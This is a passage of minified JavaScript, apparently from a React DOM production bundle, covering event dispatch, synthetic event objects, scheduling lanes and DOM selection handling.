t=="boolean"||t===""?"":n||typeof t!="number"||t===0||Ys.hasOwnProperty(e)&&Ys[e]?(""+t).trim():t+"px"}function lw(e,t){e=e.style;for(var n in t)if(t.hasOwnProperty(n)){var r=n.indexOf("--")===0,i=ow(n,t[n],r);n==="float"&&(n="cssFloat"),r?e.setProperty(n,i):e[n]=i}}var Cz=Ge({menuitem:!0},{area:!0,base:!0,br:!0,col:!0,embed:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0});function Lp(e,t){if(t){if(Cz[e]&&(t.children!=null||t.dangerouslySetInnerHTML!=null))throw Error(Q(137,e));if(t.dangerouslySetInnerHTML!=null){if(t.children!=null)throw Error(Q(60));if(typeof t.dangerouslySetInnerHTML!="object"||!("__html"in t.dangerouslySetInnerHTML))throw Error(Q(61))}if(t.style!=null&&typeof t.style!="object")throw Error(Q(62))}}function Ip(e,t){if(e.indexOf("-")===-1)return typeof t.is=="string";switch(e){case"annotation-xml":case"color-profile":case"font-face":case"font-face-src":case"font-face-uri":case"font-face-format":case"font-face-name":case"missing-glyph":return!1;default:return!0}}var Dp=null;function Ph(e){return e=e.target||e.srcElement||window,e.correspondingUseElement&&(e=e.correspondingUseElement),e.nodeType===3?e.parentNode:e}var Rp=null,Ma=null,La=null;function Cv(e){if(e=Ho(e)){if(typeof Rp!="function")throw Error(Q(280));var t=e.stateNode;t&&(t=Uu(t),Rp(e.stateNode,e.type,t))}}function cw(e){Ma?La?La.push(e):La=[e]:Ma=e}function uw(){if(Ma){var e=Ma,t=La;if(La=Ma=null,Cv(e),t)for(e=0;e<t.length;e++)Cv(t[e])}}function dw(e,t){return e(t)}function fw(){}var jf=!1;function pw(e,t,n){if(jf)return e(t,n);jf=!0;try{return dw(e,t,n)}finally{jf=!1,(Ma!==null||La!==null)&&(fw(),uw())}}function ao(e,t){var n=e.stateNode;if(n===null)return null;var r=Uu(n);if(r===null)return null;n=r[t];e:switch(t){case"onClick":case"onClickCapture":case"onDoubleClick":case"onDoubleClickCapture":case"onMouseDown":case"onMouseDownCapture":case"onMouseMove":case"onMouseMoveCapture":case"onMouseUp":case"onMouseUpCapture":case"onMouseEnter":(r=!r.disabled)||(e=e.type,r=!(e==="button"||e==="input"||e==="select"||e==="textarea")),e=!r;break e;default:e=!1}if(e)return null;if(n&&typeof n!="function")throw Error(Q(231,t,typeof n));return n}var $p=!1;if(kr)try{var js={};Object.defineProperty(js,"passive",{get:function(){$p=!0}}),window.addEventListener("test",js,js),window.removeEventListener("test",js,js)}catch{$p=!1}function Pz(e,t,n,r,i,a,o,l,c){var u=Array.prototype.slice.call(arguments,3);try{t.apply(n,u)}catch(d){this.onError(d)}}var Gs=!1,yc=null,bc=!1,Bp=null,Ez={onError:function(e){Gs=!0,yc=e}};function Az(e,t,n,r,i,a,o,l,c){Gs=!1,yc=null,Pz.apply(Ez,arguments)}function _z(e,t,n,r,i,a,o,l,c){if(Az.apply(this,arguments),Gs){if(Gs){var u=yc;Gs=!1,yc=null}else throw Error(Q(198));bc||(bc=!0,Bp=u)}}function oa(e){var t=e,n=e;if(e.alternate)for(;t.return;)t=t.return;else{e=t;do t=e,t.flags&4098&&(n=t.return),e=t.return;while(e)}return t.tag===3?n:null}function mw(e){if(e.tag===13){var t=e.memoizedState;if(t===null&&(e=e.alternate,e!==null&&(t=e.memoizedState)),t!==null)return t.dehydrated}return null}function Pv(e){if(oa(e)!==e)throw Error(Q(188))}function Oz(e){var t=e.alternate;if(!t){if(t=oa(e),t===null)throw Error(Q(188));return t!==e?null:e}for(var n=e,r=t;;){var i=n.return;if(i===null)break;var a=i.alternate;if(a===null){if(r=i.return,r!==null){n=r;continue}break}if(i.child===a.child){for(a=i.child;a;){if(a===n)return Pv(i),e;if(a===r)return Pv(i),t;a=a.sibling}throw Error(Q(188))}if(n.return!==r.return)n=i,r=a;else{for(var o=!1,l=i.child;l;){if(l===n){o=!0,n=i,r=a;break}if(l===r){o=!0,r=i,n=a;break}l=l.sibling}if(!o){for(l=a.child;l;){if(l===n){o=!0,n=a,r=i;break}if(l===r){o=!0,r=a,n=i;break}l=l.sibling}if(!o)throw Error(Q(189))}}if(n.alternate!==r)throw Error(Q(190))}if(n.tag!==3)throw Error(Q(188));return n.stateNode.current===n?e:t}function hw(e){return e=Oz(e),e!==null?xw(e):null}function xw(e){if(e.tag===5||e.tag===6)return e;for(e=e.child;e!==null;){var t=xw(e);if(t!==null)return t;e=e.sibling}return null}var vw=ln.unstable_scheduleCallback,Ev=ln.unstable_cancelCallback,Tz=ln.unstable_shouldYield,Mz=ln.unstable_requestPaint,nt=ln.unstable_now,Lz=ln.unstable_getCurrentPriorityLevel,Eh=ln.unstable_ImmediatePriority,gw=ln.unstable_UserBlockingPriority,wc=ln.unstable_NormalPriority,Iz=ln.unstable_LowPriority,yw=ln.unstable_IdlePriority,$u=null,ir=null;function Dz(e){if(ir&&typeof ir.onCommitFiberRoot=="function")try{ir.onCommitFiberRoot($u,e,void 0,(e.current.flags&128)===128)}catch{}}var $n=Math.clz32?Math.clz32:Bz,Rz=Math.log,$z=Math.LN2;function Bz(e){return e>>>=0,e===0?32:31-(Rz(e)/$z|0)|0}var gl=64,yl=4194304;function Us(e){switch(e&-e){case 1:return 1;case 2:return 2;case 4:return 4;case 8:return 8;case 16:return 16;case 32:return 32;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return e&4194240;case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:return e&130023424;case 134217728:return 134217728;case 268435456:return 268435456;case 536870912:return 536870912;case 1073741824:return 1073741824;default:return e}}function jc(e,t){var n=e.pendingLanes;if(n===0)return 0;var r=0,i=e.suspendedLanes,a=e.pingedLanes,o=n&268435455;if(o!==0){var l=o&~i;l!==0?r=Us(l):(a&=o,a!==0&&(r=Us(a)))}else o=n&~i,o!==0?r=Us(o):a!==0&&(r=Us(a));if(r===0)return 0;if(t!==0&&t!==r&&!(t&i)&&(i=r&-r,a=t&-t,i>=a||i===16&&(a&4194240)!==0))return t;if(r&4&&(r|=n&16),t=e.entangledLanes,t!==0)for(e=e.entanglements,t&=r;0<t;)n=31-$n(t),i=1<<n,r|=e[n],t&=~i;return r}function Fz(e,t){switch(e){case 1:case 2:case 4:return t+250;case 8:case 16:case 32:case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return t+5e3;case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:return-1;case 134217728:case 268435456:case 536870912:case 1073741824:return-1;default:return-1}}function Wz(e,t){for(var n=e.suspendedLanes,r=e.pingedLanes,i=e.expirationTimes,a=e.pendingLanes;0<a;){var o=31-$n(a),l=1<<o,c=i[o];c===-1?(!(l&n)||l&r)&&(i[o]=Fz(l,t)):c<=t&&(e.expiredLanes|=l),a&=~l}}function Fp(e){return e=e.pendingLanes&-1073741825,e!==0?e:e&1073741824?1073741824:0}function bw(){var e=gl;return gl<<=1,!(gl&4194240)&&(gl=64),e}function kf(e){for(var t=[],n=0;31>n;n++)t.push(e);return t}function Uo(e,t,n){e.pendingLanes|=t,t!==536870912&&(e.suspendedLanes=0,e.pingedLanes=0),e=e.eventTimes,t=31-$n(t),e[t]=n}function Uz(e,t){var n=e.pendingLanes&~t;e.pendingLanes=t,e.suspendedLanes=0,e.pingedLanes=0,e.expiredLanes&=t,e.mutableReadLanes&=t,e.entangledLanes&=t,t=e.entanglements;var r=e.eventTimes;for(e=e.expirationTimes;0<n;){var i=31-$n(n),a=1<<i;t[i]=0,r[i]=-1,e[i]=-1,n&=~a}}function Ah(e,t){var n=e.entangledLanes|=t;for(e=e.entanglements;n;){var r=31-$n(n),i=1<<r;i&t|e[r]&t&&(e[r]|=t),n&=~i}}var Ae=0;function ww(e){return e&=-e,1<e?4<e?e&268435455?16:536870912:4:1}var jw,_h,kw,Nw,Sw,Wp=!1,bl=[],ni=null,ri=null,ii=null,so=new Map,oo=new Map,Gr=[],Vz="mousedown mouseup touchcancel touchend touchstart auxclick dblclick pointercancel pointerdown pointerup dragend dragstart drop compositionend compositionstart keydown keypress keyup input textInput copy cut paste click change contextmenu reset submit".split(" ");function Av(e,t){switch(e){case"focusin":case"focusout":ni=null;break;case"dragenter":case"dragleave":ri=null;break;case"mouseover":case"mouseout":ii=null;break;case"pointerover":case"pointerout":so.delete(t.pointerId);break;case"gotpointercapture":case"lostpointercapture":oo.delete(t.pointerId)}}function ks(e,t,n,r,i,a){return e===null||e.nativeEvent!==a?(e={blockedOn:t,domEventName:n,eventSystemFlags:r,nativeEvent:a,targetContainers:[i]},t!==null&&(t=Ho(t),t!==null&&_h(t)),e):(e.eventSystemFlags|=r,t=e.targetContainers,i!==null&&t.indexOf(i)===-1&&t.push(i),e)}function Hz(e,t,n,r,i){switch(t){case"focusin":return ni=ks(ni,e,t,n,r,i),!0;case"dragenter":return ri=ks(ri,e,t,n,r,i),!0;case"mouseover":return ii=ks(ii,e,t,n,r,i),!0;case"pointerover":var a=i.pointerId;return so.set(a,ks(so.get(a)||null,e,t,n,r,i)),!0;case"gotpointercapture":return a=i.pointerId,oo.set(a,ks(oo.get(a)||null,e,t,n,r,i)),!0}return!1}function zw(e){var t=Li(e.target);if(t!==null){var n=oa(t);if(n!==null){if(t=n.tag,t===13){if(t=mw(n),t!==null){e.blockedOn=t,Sw(e.priority,function(){kw(n)});return}}else if(t===3&&n.stateNode.current.memoizedState.isDehydrated){e.blockedOn=n.tag===3?n.stateNode.containerInfo:null;return}}}e.blockedOn=null}function tc(e){if(e.blockedOn!==null)return!1;for(var t=e.targetContainers;0<t.length;){var n=Up(e.domEventName,e.eventSystemFlags,t[0],e.nativeEvent);if(n===null){n=e.nativeEvent;var r=new n.constructor(n.type,n);Dp=r,n.target.dispatchEvent(r),Dp=null}else return t=Ho(n),t!==null&&_h(t),e.blockedOn=n,!1;t.shift()}return!0}function _v(e,t,n){tc(e)&&n.delete(t)}function Kz(){Wp=!1,ni!==null&&tc(ni)&&(ni=null),ri!==null&&tc(ri)&&(ri=null),ii!==null&&tc(ii)&&(ii=null),so.forEach(_v),oo.forEach(_v)}function Ns(e,t){e.blockedOn===t&&(e.blockedOn=null,Wp||(Wp=!0,ln.unstable_scheduleCallback(ln.unstable_NormalPriority,Kz)))}function lo(e){function t(i){return Ns(i,e)}if(0<bl.length){Ns(bl[0],e);for(var n=1;n<bl.length;n++){var r=bl[n];r.blockedOn===e&&(r.blockedOn=null)}}for(ni!==null&&Ns(ni,e),ri!==null&&Ns(ri,e),ii!==null&&Ns(ii,e),so.forEach(t),oo.forEach(t),n=0;n<Gr.length;n++)r=Gr[n],r.blockedOn===e&&(r.blockedOn=null);for(;0<Gr.length&&(n=Gr[0],n.blockedOn===null);)zw(n),n.blockedOn===null&&Gr.shift()}var Ia=Ir.ReactCurrentBatchConfig,kc=!0;function qz(e,t,n,r){var i=Ae,a=Ia.transition;Ia.transition=null;try{Ae=1,Oh(e,t,n,r)}finally{Ae=i,Ia.transition=a}}function Yz(e,t,n,r){var i=Ae,a=Ia.transition;Ia.transition=null;try{Ae=4,Oh(e,t,n,r)}finally{Ae=i,Ia.transition=a}}function Oh(e,t,n,r){if(kc){var i=Up(e,t,n,r);if(i===null)Tf(e,t,r,Nc,n),Av(e,r);else if(Hz(i,e,t,n,r))r.stopPropagation();else if(Av(e,r),t&4&&-1<Vz.indexOf(e)){for(;i!==null;){var a=Ho(i);if(a!==null&&jw(a),a=Up(e,t,n,r),a===null&&Tf(e,t,r,Nc,n),a===i)break;i=a}i!==null&&r.stopPropagation()}else Tf(e,t,r,null,n)}}var Nc=null;function Up(e,t,n,r){if(Nc=null,e=Ph(r),e=Li(e),e!==null)if(t=oa(e),t===null)e=null;else if(n=t.tag,n===13){if(e=mw(t),e!==null)return e;e=null}else if(n===3){if(t.stateNode.current.memoizedState.isDehydrated)return t.tag===3?t.stateNode.containerInfo:null;e=null}else t!==e&&(e=null);return Nc=e,null}function Cw(e){switch(e){case"cancel":case"click":case"close":case"contextmenu":case"copy":case"cut":case"auxclick":case"dblclick":case"dragend":case"dragstart":case"drop":case"focusin":case"focusout":case"input":case"invalid":case"keydown":case"keypress":case"keyup":case"mousedown":case"mouseup":case"paste":case"pause":case"play":case"pointercancel":case"pointerdown":case"pointerup":case"ratechange":case"reset":case"resize":case"seeked":case"submit":case"touchcancel":case"touchend":case"touchstart":case"volumechange":case"change":case"selectionchange":case"textInput":case"compositionstart":case"compositionend":case"compositionupdate":case"beforeblur":case"afterblur":case"beforeinput":case"blur":case"fullscreenchange":case"focus":case"hashchange":case"popstate":case"select":case"selectstart":return 1;case"drag":case"dragenter":case"dragexit":case"dragleave":case"dragover":case"mousemove":case"mouseout":case"mouseover":case"pointermove":case"pointerout":case"pointerover":case"scroll":case"toggle":case"touchmove":case"wheel":case"mouseenter":case"mouseleave":case"pointerenter":case"pointerleave":return 4;case"message":switch(Lz()){case Eh:return 1;case gw:return 4;case wc:case Iz:return 16;case yw:return 536870912;default:return 16}default:return 16}}var Qr=null,Th=null,nc=null;function Pw(){if(nc)return nc;var e,t=Th,n=t.length,r,i="value"in Qr?Qr.value:Qr.textContent,a=i.length;for(e=0;e<n&&t[e]===i[e];e++);var o=n-e;for(r=1;r<=o&&t[n-r]===i[a-r];r++);return nc=i.slice(e,1<r?1-r:void 0)}function rc(e){var t=e.keyCode;return"charCode"in e?(e=e.charCode,e===0&&t===13&&(e=13)):e=t,e===10&&(e=13),32<=e||e===13?e:0}function wl(){return!0}function Ov(){return!1}function dn(e){function t(n,r,i,a,o){this._reactName=n,this._targetInst=i,this.type=r,this.nativeEvent=a,this.target=o,this.currentTarget=null;for(var l in e)e.hasOwnProperty(l)&&(n=e[l],this[l]=n?n(a):a[l]);return this.isDefaultPrevented=(a.defaultPrevented!=null?a.defaultPrevented:a.returnValue===!1)?wl:Ov,this.isPropagationStopped=Ov,this}return Ge(t.prototype,{preventDefault:function(){this.defaultPrevented=!0;var n=this.nativeEvent;n&&(n.preventDefault?n.preventDefault():typeof n.returnValue!="unknown"&&(n.returnValue=!1),this.isDefaultPrevented=wl)},stopPropagation:function(){var n=this.nativeEvent;n&&(n.stopPropagation?n.stopPropagation():typeof n.cancelBubble!="unknown"&&(n.cancelBubble=!0),this.isPropagationStopped=wl)},persist:function(){},isPersistent:wl}),t}var is={eventPhase:0,bubbles:0,cancelable:0,timeStamp:function(e){return e.timeStamp||Date.now()},defaultPrevented:0,isTrusted:0},Mh=dn(is),Vo=Ge({},is,{view:0,detail:0}),Gz=dn(Vo),Nf,Sf,Ss,Bu=Ge({},Vo,{screenX:0,screenY:0,clientX:0,clientY:0,pageX:0,pageY:0,ctrlKey:0,shiftKey:0,altKey:0,metaKey:0,getModifierState:Lh,button:0,buttons:0,relatedTarget:function(e){return e.relatedTarget===void 0?e.fromElement===e.srcElement?e.toElement:e.fromElement:e.relatedTarget},movementX:function(e){return"movementX"in e?e.movementX:(e!==Ss&&(Ss&&e.type==="mousemove"?(Nf=e.screenX-Ss.screenX,Sf=e.screenY-Ss.screenY):Sf=Nf=0,Ss=e),Nf)},movementY:function(e){return"movementY"in e?e.movementY:Sf}}),Tv=dn(Bu),Xz=Ge({},Bu,{dataTransfer:0}),Zz=dn(Xz),Qz=Ge({},Vo,{relatedTarget:0}),zf=dn(Qz),Jz=Ge({},is,{animationName:0,elapsedTime:0,pseudoElement:0}),eC=dn(Jz),tC=Ge({},is,{clipboardData:function(e){return"clipboardData"in e?e.clipboardData:window.clipboardData}}),nC=dn(tC),rC=Ge({},is,{data:0}),Mv=dn(rC),iC={Esc:"Escape",Spacebar:" ",Left:"ArrowLeft",Up:"ArrowUp",Right:"ArrowRight",Down:"ArrowDown",Del:"Delete",Win:"OS",Menu:"ContextMenu",Apps:"ContextMenu",Scroll:"ScrollLock",MozPrintableKey:"Unidentified"},aC={8:"Backspace",9:"Tab",12:"Clear",13:"Enter",16:"Shift",17:"Control",18:"Alt",19:"Pause",20:"CapsLock",27:"Escape",32:" ",33:"PageUp",34:"PageDown",35:"End",36:"Home",37:"ArrowLeft",38:"ArrowUp",39:"ArrowRight",40:"ArrowDown",45:"Insert",46:"Delete",112:"F1",113:"F2",114:"F3",115:"F4",116:"F5",117:"F6",118:"F7",119:"F8",120:"F9",121:"F10",122:"F11",123:"F12",144:"NumLock",145:"ScrollLock",224:"Meta"},sC={Alt:"altKey",Control:"ctrlKey",Meta:"metaKey",Shift:"shiftKey"};function oC(e){var t=this.nativeEvent;return t.getModifierState?t.getModifierState(e):(e=sC[e])?!!t[e]:!1}function Lh(){return oC}var lC=Ge({},Vo,{key:function(e){if(e.key){var t=iC[e.key]||e.key;if(t!=="Unidentified")return t}return e.type==="keypress"?(e=rc(e),e===13?"Enter":String.fromCharCode(e)):e.type==="keydown"||e.type==="keyup"?aC[e.keyCode]||"Unidentified":""},code:0,location:0,ctrlKey:0,shiftKey:0,altKey:0,metaKey:0,repeat:0,locale:0,getModifierState:Lh,charCode:function(e){return e.type==="keypress"?rc(e):0},keyCode:function(e){return e.type==="keydown"||e.type==="keyup"?e.keyCode:0},which:function(e){return e.type==="keypress"?rc(e):e.type==="keydown"||e.type==="keyup"?e.keyCode:0}}),cC=dn(lC),uC=Ge({},Bu,{pointerId:0,width:0,height:0,pressure:0,tangentialPressure:0,tiltX:0,tiltY:0,twist:0,pointerType:0,isPrimary:0}),Lv=dn(uC),dC=Ge({},Vo,{touches:0,targetTouches:0,changedTouches:0,altKey:0,metaKey:0,ctrlKey:0,shiftKey:0,getModifierState:Lh}),fC=dn(dC),pC=Ge({},is,{propertyName:0,elapsedTime:0,pseudoElement:0}),mC=dn(pC),hC=Ge({},Bu,{deltaX:function(e){return"deltaX"in e?e.deltaX:"wheelDeltaX"in e?-e.wheelDeltaX:0},deltaY:function(e){return"deltaY"in e?e.deltaY:"wheelDeltaY"in e?-e.wheelDeltaY:"wheelDelta"in e?-e.wheelDelta:0},deltaZ:0,deltaMode:0}),xC=dn(hC),vC=[9,13,27,32],Ih=kr&&"CompositionEvent"in window,Xs=null;kr&&"documentMode"in document&&(Xs=document.documentMode);var gC=kr&&"TextEvent"in window&&!Xs,Ew=kr&&(!Ih||Xs&&8<Xs&&11>=Xs),Iv=" ",Dv=!1;function Aw(e,t){switch(e){case"keyup":return vC.indexOf(t.keyCode)!==-1;case"keydown":return t.keyCode!==229;case"keypress":case"mousedown":case"focusout":return!0;default:return!1}}function _w(e){return e=e.detail,typeof e=="object"&&"data"in e?e.data:null}var ba=!1;function yC(e,t){switch(e){case"compositionend":return _w(t);case"keypress":return t.which!==32?null:(Dv=!0,Iv);case"textInput":return e=t.data,e===Iv&&Dv?null:e;default:return null}}function bC(e,t){if(ba)return e==="compositionend"||!Ih&&Aw(e,t)?(e=Pw(),nc=Th=Qr=null,ba=!1,e):null;switch(e){case"paste":return null;case"keypress":if(!(t.ctrlKey||t.altKey||t.metaKey)||t.ctrlKey&&t.altKey){if(t.char&&1<t.char.length)return t.char;if(t.which)return String.fromCharCode(t.which)}return null;case"compositionend":return Ew&&t.locale!=="ko"?null:t.data;default:return null}}var wC={color:!0,date:!0,datetime:!0,"datetime-local":!0,email:!0,month:!0,number:!0,password:!0,range:!0,search:!0,tel:!0,text:!0,time:!0,url:!0,week:!0};function Rv(e){var t=e&&e.nodeName&&e.nodeName.toLowerCase();return t==="input"?!!wC[e.type]:t==="textarea"}function Ow(e,t,n,r){cw(r),t=Sc(t,"onChange"),0<t.length&&(n=new Mh("onChange","change",null,n,r),e.push({event:n,listeners:t}))}var Zs=null,co=null;function jC(e){Uw(e,0)}function Fu(e){var t=ka(e);if(nw(t))return e}function kC(e,t){if(e==="change")return t}var Tw=!1;if(kr){var Cf;if(kr){var Pf="oninput"in document;if(!Pf){var $v=document.createElement("div");$v.setAttribute("oninput","return;"),Pf=typeof $v.oninput=="function"}Cf=Pf}else Cf=!1;Tw=Cf&&(!document.documentMode||9<document.documentMode)}function Bv(){Zs&&(Zs.detachEvent("onpropertychange",Mw),co=Zs=null)}function Mw(e){if(e.propertyName==="value"&&Fu(co)){var t=[];Ow(t,co,e,Ph(e)),pw(jC,t)}}function NC(e,t,n){e==="focusin"?(Bv(),Zs=t,co=n,Zs.attachEvent("onpropertychange",Mw)):e==="focusout"&&Bv()}function SC(e){if(e==="selectionchange"||e==="keyup"||e==="keydown")return Fu(co)}function zC(e,t){if(e==="click")return Fu(t)}function CC(e,t){if(e==="input"||e==="change")return Fu(t)}function PC(e,t){return e===t&&(e!==0||1/e===1/t)||e!==e&&t!==t}var Wn=typeof Object.is=="function"?Object.is:PC;function uo(e,t){if(Wn(e,t))return!0;if(typeof e!="object"||e===null||typeof t!="object"||t===null)return!1;var n=Object.keys(e),r=Object.keys(t);if(n.length!==r.length)return!1;for(r=0;r<n.length;r++){var i=n[r];if(!Sp.call(t,i)||!Wn(e[i],t[i]))return!1}return!0}function Fv(e){for(;e&&e.firstChild;)e=e.firstChild;return e}function Wv(e,t){var n=Fv(e);e=0;for(var r;n;){if(n.nodeType===3){if(r=e+n.textContent.length,e<=t&&r>=t)return{node:n,offset:t-e};e=r}e:{for(;n;){if(n.nextSibling){n=n.nextSibling;break e}n=n.parentNode}n=void 0}n=Fv(n)}}function Lw(e,t){return e&&t?e===t?!0:e&&e.nodeType===3?!1:t&&t.nodeType===3?Lw(e,t.parentNode):"contains"in e?e.contains(t):e.compareDocumentPosition?!!(e.compareDocumentPosition(t)&16):!1:!1}function Iw(){for(var e=window,t=gc();t instanceof e.HTMLIFrameElement;){try{var n=typeof t.contentWindow.location.href=="string"}catch{n=!1}if(n)e=t.contentWindow;else break;t=gc(e.document)}return t}function Dh(e){var t=e&&e.nodeName&&e.nodeName.toLowerCase();return t&&(t==="input"&&(e.type==="text"||e.type==="search"||e.type==="tel"||e.type==="url"||e.type==="password")||t==="textarea"||e.contentEditable==="true")}function EC(e){var t=Iw(),n=e.focusedElem,r=e.selectionRange;if(t!==n&&n&&n.ownerDocument&&Lw(n.ownerDocument.documentElement,n)){if(r!==null&&Dh(n)){if(t=r.start,e=r.end,e===void 0&&(e=t),"selectionStart"in n)n.selectionStart=t,n.selectionEnd=Math.min(e,n.value.length);else if(e=(t=n.ownerDocument||document)&&t.defaultView||window,e.getSelection){e=e.getSelection();var i=n.textContent.length,a=Math.min(r.start,i);r=r.end===void 0?a:Math.min(r.end,i),!e.extend&&a>r&&(i=r,r=a,a=i),i=Wv(n,a);var o=Wv(n,r);i&&o&&(e.rangeCount!==1||e.anchorNode!==i.node||e.anchorOffset!==i.offset||e.focusNode!==o.node||e.focusOffset!==o.offset)&&(t=t.createRange(),t.setStart(i.node,i.offset),e.removeAllRanges(),a>r?(e.addRange(t),e.extend(o.node,o.offset)):(t.setEnd(o.node,o.offset),e.addRange(t)))}}for(t=[],e=n;e=e.parentNode;)e.nodeType===1&&t.push({element:e,left:e.scrollLeft,top:e.scrollTop});for(typeof n.focus=="function"&&n.focus(),n=0;n<t.length;n++)e=t[n],e.element.scrollLeft=e.left,e.element.scrollTop=e.top}}var AC=kr&&"documentMode"in document&&11>=document.documentMode,wa=null,Vp=null,Qs=null,Hp=!1;function Uv(e,t,n){var r=n.window===n?n.document:n.nodeType===9?n:n.ownerDocument;Hp||wa==null||wa!==gc(r)||(r=wa,"selectionStart"in r&&Dh(r)?r={start:r.selectionStart,end:r.selectionEnd}:(r=(r.ownerDocument&&r.ownerDocument.defaultView||window).getSelection(),r={anchorNode:r.anchorNode,anchorOffset:r.anchorOffset,focusNode:r.focusNode,focusOffset:r.focusOffset}),Qs&&uo(Qs,r)||(Qs=r,r=Sc(Vp,"onSelect"),0<r.length&&(t=new Mh("onSelect","select",null,t,n),e.push({event:t,listeners:r}),t.target=wa)))}function jl(e,t){var n={};return n[e.toLowerCase()]=t.toLowerCase(),n["Webkit"+e]="webkit"+t,n["Moz"+e]="moz"+t,n}var ja={animationend:jl("Animation","AnimationEnd"),animationiteration:jl("Animation","AnimationIteration"),animationstart:jl("Animation","AnimationStart"),transitionend:jl("Transition","TransitionEnd")},Ef={},Dw={};kr&&(Dw=document.createElement("div").style,"AnimationEvent"in window||(delete ja.animationend.animation,delete ja.animationiteration.animation,delete ja.animationstart.animation),"TransitionEvent"in window||delete ja.transitionend.transition);function Wu(e){if(Ef[e])return Ef[e];if(!ja[e])return e;var t=ja[e],n;for(n in t)if(t.hasOwnProperty(n)&&n in Dw)return Ef[e]=t[n];return e}var Rw=Wu("animationend"),$w=Wu("animationiteration"),Bw=Wu("animationstart"),Fw=Wu("transitionend"),Ww=new Map,Vv="abort auxClick cancel canPlay canPlayThrough click close contextMenu copy cut drag dragEnd dragEnter dragExit dragLeave dragOver dragStart drop durationChange emptied encrypted ended error gotPointerCapture input invalid keyDown keyPress keyUp load loadedData loadedMetadata loadStart lostPointerCapture mouseDown mouseMove mouseOut mouseOver mouseUp paste pause play playing pointerCancel pointerDown pointerMove pointerOut pointerOver pointerUp progress rateChange reset resize seeked seeking stalled submit suspend timeUpdate touchCancel touchEnd touchStart volumeChange scroll toggle touchMove waiting wheel".split(" ");function yi(e,t){Ww.set(e,t),sa(t,[e])}for(var Af=0;Af<Vv.length;Af++){var _f=Vv[Af],_C=_f.toLowerCase(),OC=_f[0].toUpperCase()+_f.slice(1);yi(_C,"on"+OC)}yi(Rw,"onAnimationEnd");yi($w,"onAnimationIteration");yi(Bw,"onAnimationStart");yi("dblclick","onDoubleClick");yi("focusin","onFocus");yi("focusout","onBlur");yi(Fw,"onTransitionEnd");Wa("onMouseEnter",["mouseout","mouseover"]);Wa("onMouseLeave",["mouseout","mouseover"]);Wa("onPointerEnter",["pointerout","pointerover"]);Wa("onPointerLeave",["pointerout","pointerover"]);sa("onChange","change click focusin focusout input keydown keyup selectionchange".split(" "));sa("onSelect","focusout contextmenu dragend focusin keydown keyup mousedown mouseup selectionchange".split(" "));sa("onBeforeInput",["compositionend","keypress","textInput","paste"]);sa("onCompositionEnd","compositionend focusout keydown keypress keyup mousedown".split(" "));sa("onCompositionStart","compositionstart focusout keydown keypress keyup mousedown".split(" "));sa("onCompositionUpdate","compositionupdate focusout keydown keypress keyup mousedown".split(" "));var Vs="abort canplay canplaythrough durationchange emptied encrypted ended error loadeddata loadedmetadata loadstart pause play playing progress ratechange resize seeked seeking stalled suspend timeupdate volumechange waiting".split(" "),TC=new Set("cancel close invalid load scroll toggle".split(" ").concat(Vs));function Hv(e,t,n){var r=e.type||"unknown-event";e.currentTarget=n,_z(r,t,void 0,e),e.currentTarget=null}function Uw(e,t){t=(t&4)!==0;for(var n=0;n<e.length;n++){var r=e[n],i=r.event;r=r.listeners;e:{var a=void 0;if(t)for(var o=r.length-1;0<=o;o--){var l=r[o],c=l.instance,u=l.currentTarget;if(l=l.listener,c!==a&&i.isPropagationStopped())break e;Hv(i,l,u),a=c}else for(o=0;o<r.length;o++){if(l=r[o],c=l.instance,u=l.currentTarget,l=l.listener,c!==a&&i.isPropagationStopped())break e;Hv(i,l,u),a=c}}}if(bc)throw e=Bp,bc=!1,Bp=null,e}function Re(e,t){var n=t[Xp];n===void 0&&(n=t[Xp]=new Set);var r=e+"__bubble";n.has(r)||(Vw(t,e,2,!1),n.add(r))}function Of(e,t,n){var r=0;t&&(r|=4),Vw(n,e,r,t)}var kl="_reactListening"+Math.random().toString(36).slice(2);function fo(e){if(!e[kl]){e[kl]=!0,Z2.forEach(function(n){n!=="selectionchange"&&(TC.has(n)||Of(n,!1,e),Of(n,!0,e))});var t=e.nodeType===9?e:e.ownerDocument;t===null||t[kl]||(t[kl]=!0,Of("selectionchange",!1,t))}}function Vw(e,t,n,r){switch(Cw(t)){case 1:var i=qz;break;case 4:i=Yz;break;default:i=Oh}n=i.bind(null,t,n,e),i=void 0,!$p||t!=="touchstart"&&t!=="touchmove"&&t!=="wheel"||(i=!0),r?i!==void 0?e.addEventListener(t,n,{capture:!0,passive:i}):e.addEventListener(t,n,!0):i!==void 0?e.addEventListener(t,n,{passive:i}):e.addEventListener(t,n,!1)}function Tf(e,t,n,r,i){var a=r;if(!(t&1)&&!(t&2)&&r!==null)e:for(;;){if(r===null)return;var o=r.tag;if(o===3||o===4){var l=r.stateNode.containerInfo;if(l===i||l.nodeType===8&&l.parentNode===i)break;if(o===4)for(o=r.return;o!==null;){var c=o.tag;if((c===3||c===4)&&(c=o.stateNode.containerInfo,c===i||c.nodeType===8&&c.parentNode===i))return;o=o.return}for(;l!==null;){if(o=Li(l),o===null)return;if(c=o.tag,c===5||c===6){r=a=o;continue e}l=l.parentNode}}r=r.return}pw(function(){var u=a,d=Ph(n),f=[];e:{var m=Ww.get(e);if(m!==void 0){var h=Mh,x=e;switch(e){case"keypress":if(rc(n)===0)break e;case"keydown":case"keyup":h=cC;break;case"focusin":x="focus",h=zf;break;case"focusout":x="blur",h=zf;break;case"beforeblur":case"afterblur":h=zf;break;case"click":if(n.button===2)break e;case"auxclick":case"dblclick":case"mousedown":case"mousemove":case"mouseup":case"mouseout":case"mouseover":case"contextmenu":h=Tv;break;case"drag":case"dragend":case"dragenter":case"dragexit":case"dragleave":case"dragover":case"dragstart":case"drop":h=Zz;break;case"touchcancel":case"touchend":case"touchmove":case"touchstart":h=fC;break;case Rw:case $w:case Bw:h=eC;break;case Fw:h=mC;break;case"scroll":h=Gz;break;case"wheel":h=xC;break;case"copy":case"cut":case"paste":h=nC;break;case"gotpointercapture":case"lostpointercapture":case"pointercancel":case"pointerdown":case"pointermove":case"pointerout":case"pointerover":case"pointerup":h=Lv}var 